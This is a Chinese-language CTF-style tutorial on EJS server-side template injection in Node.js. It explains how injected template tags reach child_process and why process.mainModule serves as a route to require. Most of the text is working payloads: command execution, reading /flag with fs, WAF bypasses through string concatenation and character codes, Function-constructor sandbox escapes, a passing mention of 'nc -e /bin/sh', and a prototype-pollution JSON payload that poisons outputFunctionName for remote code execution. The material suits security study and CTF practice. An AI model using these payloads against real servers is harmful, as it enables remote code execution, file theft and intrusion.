类型

1.显式注入

const ejs = require('ejs');
const userInput = req.query.name; 

// 错误写法:直接拼接
const template = `<h1>Hello ${userInput}</h1>`;
const html = ejs.render(template);

正常攻击payload

EJS允许使用<% ... %>标签执行任意 JS 代码。

// 输入这个字符串:
<%- global.process.mainModule.require('child_process').execSync('calc') %>

(注:<%- 表示输出非转义内容,<% 表示执行逻辑但不输出)

使用module

<%- process.mainModule.constructor._load('child_process').execSync('whoami') %>

或使用require的变体

<%- module.require('child_process').execSync('cat /flag') %>

利用process.binding(底层API,绕过require)

<%- process.binding('spawn_sync').spawn({
    file: '/bin/sh',
    args: ['/bin/sh', '-c', 'cat /flag'],
    envPairs: []
}).output[1].toString() %>

利用fs模块进行文件读取(不执行命令)

<%- global.process.mainModule.require('fs').readFileSync('/flag', 'utf-8') %>

fs结合module

<%- module.constructor._load('fs').readFileSync('/flag') %>

绕过waf

拼接
<%- global.process.mainModule.require('child'+'_process').execSync('calc') %>
十六进制或编码
// "child_process" 的 ASCII 码
<%- global.process.mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115)).execSync('calc') %>
沙箱逃逸(通过匿名函数的构造器网上找)

如果上下文环境非常受限(比如 global 被覆盖或移除),我们可以尝试用 JS 经典的沙箱逃逸方式,通过匿名函数的构造器往上找。

只要能拿到一个函数,就能找到 Function 构造器,进而通过 return process 拿到全局 process。

<%- (function(){ return this.process })().mainModule.require('child_process').execSync('calc') %>

<%- (function(){return this.process})().mainModule.constructor._load('child_process').execSync('whoami') %>

<%- [].map.constructor('return process')().mainModule.require('child_process').execSync('calc') %>

原理:EJS 本质上是把模板字符串编译成一个 JavaScript 函数。当你插入这段代码时,EJS 引擎会把它拼接到生成的函数体里。 相当于:

// EJS 内部生成的函数大概长这样
function rendered(locals) {
    let output = "";
    // ... 其他 HTML 字符串 ...

    // 你的 Payload 被直接塞进了这里执行
    output += global.process.mainModule.require('child_process').execSync('calc');

    // ... 其他 HTML 字符串 ...
    return output;
}

这行代码的核心目的是:在没有 require 的环境下,强行找到 require 函数。

我们一段一段来剥开它的心:

1. global

  • 含义: Node.js 中的全局对象(类似于浏览器里的 window)。
  • 作用: 无论你在代码的哪个角落(函数内、模块内),你永远可以访问 global。它是我们寻找工具的起点。

2. .process

  • 含义: 当前 Node.js 进程的对象。
  • 作用: 它挂载在 global 下。通过它,我们可以获取当前进程的信息(环境变量、版本等)。最重要的是,它保存了程序启动时的上下文信息。

3. .mainModule (关键跳板)

  • 含义: 指向应用程序的主入口模块(比如你运行 node app.js,它就指向 app.js 这个模块对象)。
  • 为什么需要它?(核心考点):
    • 在 EJS 渲染的函数内部,直接写 require('child_process') 往往是会报错的
    • 因为 require 是模块作用域下的函数,不是全局函数。EJS 渲染时所在的临时函数作用域里,并没有被注入 require 这个变量。
    • 但是! 主模块(app.js)在启动时,肯定是有 require 能力的。process.mainModule 这个对象身上保留了主模块的引用,而主模块对象里包含了 require 函数。
    • 通俗理解: 你(EJS渲染函数)手里没有钥匙(require),但是你爸爸(app.js)有。你通过“族谱”(process.mainModule)找到了爸爸,从他口袋里掏出了钥匙。

4. .require('child_process')

  • 含义: 利用刚才借来的 require 函数,加载 Node.js 内置的 子进程模块
  • 作用: 这个模块专门用来从 Node.js 代码中运行操作系统的 shell 命令。

5. .execSync('calc')

  • 含义: 执行命令。
  • 细节:
    • exec: 执行命令。
    • Sync: 同步执行。这意味着 Node.js 会暂停下来,直到命令执行完,并把命令的输出结果(stdout)作为函数的返回值。
    • 'calc': 弹计算器(Windows 下的测试命令)。在 Linux CTF 中通常是 cat /flagnc -e /bin/sh ...

结果: 服务器解析模板时,直接执行了这段 JS 代码,弹出了计算器。

2.隐式注入(原型链污染+EJS)

重点考点

const ejs = require('ejs');
const user = { name: "Guest" }; // 数据
const template = "<h1>Hello <%= name %></h1>"; // 模板是写死的,不包含用户输入

// 看起来很安全,模板内容不可控
ejs.render(template, user);

模板字符串是死的,不可控,我们怎么 RCE?此时必须配合 原型链污染

其中有一个属性叫 outputFunctionName。EJS 源码中大概是这样写的(简化版):

// EJS 内部逻辑
function generateSource(opts) {
    // 这里的 opts 默认是空的
    // 但是!如果你污染了 Object.prototype,opts 就有了属性
    var prepend = opts.outputFunctionName ? 
                  'var ' + opts.outputFunctionName + ' = [];' : 
                  '';

    // 把 prepend 拼接到即将生成的代码字符串里
    var source = prepend + '...其他渲染逻辑...';
    return source;
}

攻击流程

  1. 利用点: 题目存在原型链污染漏洞(如之前的 safeMerge)。
  2. 投毒: 我们污染 Object.prototype.outputFunctionName
  3. 触发: 当服务端调用 ejs.render() 时,它读取到了我们污染的属性,并将其拼接到函数体中。
  4. 执行: 恶意代码被执行。

攻击 Payload (组合拳)

假设你已经找到了一个 merge 漏洞,你需要发送如下 JSON:

{
    "__proto__": {
        // 这里的代码会被拼接到 var ... = []; 中
        // 我们利用 ; 闭合前面的语句,然后插入恶意代码,最后注释掉后面的
        "outputFunctionName": "a; return global.process.mainModule.require('child_process').execSync('cat /flag'); //"
    }
}

EJS 内部被污染后的样子(脑补):

// 正常情况:
// var undefined = []; ...

// 污染后:
var a; return global.process.mainModule.require('child_process').execSync('cat /flag'); // = []; ...